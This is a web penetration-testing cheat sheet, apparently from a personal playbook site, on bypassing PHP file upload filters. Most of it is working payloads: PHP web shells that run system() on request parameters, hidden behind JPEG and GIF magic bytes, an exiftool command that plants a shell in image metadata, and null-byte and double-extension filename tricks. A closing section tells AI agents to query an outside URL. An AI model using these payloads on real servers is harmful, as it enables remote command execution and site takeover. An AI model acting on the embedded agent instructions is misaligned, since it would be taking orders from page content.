# File Upload

### PHP file upload bypass

* Use MIME type (magic bytes of an image file). Upload a simple image file and only keep the first few bytes of the content and change the file name to "pic.jpg.php" while keeping the Content-Type: image/jpeg.

```
// Some code

Content-Disposition: form-data; name="imagen"; filename="pic.jpg.php"
Content-Type: image/jpeg

// Base64 decode this line before sending the request
/9j/4AAQSkZJRgABAQEAYABgAAD//gA7Q1JFQVRPUjogZ2QtanBlZyB2MS4wICh1c2luZyBJSkcgSlBFRyB2OTApLCBxdWFsaXR5ID0gOTAK/9sAQwADAgIDAgIDAwMDBAMDBAUIBQUEBAUKBwcGCAwKDAwLCgsLDQ4SEA0OEQ4LCxAWEBETFBUVFQwPFxgWFBgSFBUU/9sAQwEDBAQFBAUJBQUJFA0LDRQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU/8AAEQgAyADIAwEiAAIRAQMRAf/EAB8AAAEFAQEBAQEBAAAAAAAAAAABAgMEBQYHCAkKC//EALUQAAIBAwMCBAMFBQQEAAABfQECAwAEEQUSITFBBhNRYQcicRQygZGhCCNCscEVUtHwJDNicoIJ
<?php echo system($_REQUEST['cmd']);?>
```

```
// GIF89a; header
GIF89a;
<?
system($_GET['cmd']); # shellcode goes here
?>
```

* Exiftool

```
exiftool -Comment='<?php echo "<pre>"; system($_GET['cmd']); ?>' file.jpg
mv file.jpg file.php.jpg
```

* Add special characters, null bytes. Use burp to bruteforce.

```
file.php%20
file.php%0a
file.php%00
file.php%0d%0a
file.php/
file.php.\
file.
file.php....
file.pHp5....
```

* Use double extensions to deceive

```
file.png.php
file.png.pHp5
file.php%00.png
file.php\x00.png
file.php%0a.png
file.php%0d%0a.png
flile.phpJunk123png

file.png.jpg.php
file.php%00.png%00.jpg

```

*


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://playbook.sidthoviti.com/web-app-pentesting/file-upload.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.